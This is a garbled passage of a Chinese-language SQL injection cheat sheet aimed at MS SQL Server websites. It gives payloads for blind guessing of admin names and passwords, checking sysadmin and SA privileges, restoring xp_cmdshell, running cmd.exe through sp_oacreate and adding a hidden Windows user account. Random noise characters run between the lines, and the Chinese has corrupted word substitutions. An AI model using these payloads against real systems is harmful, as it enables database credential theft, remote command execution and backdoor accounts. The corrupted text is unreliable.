</p>6.猜解字符
- Z, b6 P" r/ u% g' a! N+ v1 {. Dand 1=(select count(*) from admin where left(name,1)=’a‘) ---猜解用户帐号的第一位6 ^: v- m6 y+ h c" g! h
and 1=(select count(*) from admin where left(name,2)=’ab‘)---猜解用户帐号的第二位3 r' `: b; K/ M3 V$ Q
就这样一次加一个字符这样猜,猜到够你适才猜出来的若干好多位了就对了,帐号就算出来了
4 h4 i v& H: _ @7 ], ?and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
" X9 h# G5 `; q# H' Z& N! f0 b% \这个发芽语句可以猜解中文的用户和密码。只要把后面的数字换成中文的ASSIC码就OK.最后把结不美观再转换成字符。+ N& N" i- T! q5 [
看处事器打的补丁=犯错了打了SP4补丁2 Q5 p9 x/ H7 k) n5 T% W, }
and 1=(select @@VERSION)--1 I- Q$ v! [- G6 p" C7 M, P
看数据库毗连账号的权限,返回正常,证实是处事器脚色sysadmin权限。; `7 U% q' E! D1 ?9 f
and 1=(Select IS_SRVROLEMEMBER(’sysadmin‘))--; o, b. e9 P5 @3 ? K- C% [
判定毗连数据库帐号。(采用SA账号毗连 返回正常=证了然毗连账号是SA)
& d1 H1 ]0 f; ?4 }/ nand ’sa‘=(Select System_user)--0 Y/ {1 r- G, [# p! m4 y6 f
and user_name()=’dbo‘--( O% A. y# j$ G$ C6 T, ~6 o
and 0《》(select user_name()--* J! o2 K, f7 m9 X3 S
看xp_cmdshell是否删除" W2 N/ I5 e# p( U$ K
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ’X‘ AND! E. n# R8 _6 _1 {! ]
name = ’xp_cmdshell‘)--/ }6 B# a& Q: {
xp_cmdshell被删除,恢复,撑持绝对路径的恢复9 S, a: F6 T# e( H" _( G3 a/ e$ i
;EXEC master.dbo.sp_addextendedproc ’xp_cmdshell‘,’xplog70.dll‘--) F* d- g2 r6 U6 L' y5 d! R
;EXEC master.dbo.sp_addextendedproc
. L* G$ H. S$ e2 x’xp_cmdshell‘,’c:\inetpub\wwwroot\xplog70.dll‘--
! m6 o. G! I! m% A" J. V! {反向PING自己尝试
; Z& D8 N+ q0 e6 C4 g/ L;use master;declare @s int;exec sp_oacreate “wscript.shell”,@s out;exec
* W; l) g+ z" X- \9 A# dsp_oamethod @s,“run”,NULL,“cmd.exe /c ping 192.168.0.1”;--4 k* B+ Q4 G4 b* n- d
加帐号& }7 u: M! }; g0 V. A; a7 M
;DECLARE @shell INT EXEC SP_OACreate ’wscript.shell‘,@shell OUTPUT EXEC* l& b8 U& U2 G
SP_OAMETHOD @shell,’run‘,null, ’C:\WINNT\system32\cmd.exe /c net user$ _ ]- F* ~: |. N0 ~5 e' q
jiaoniang$ 1866574 /add‘-- |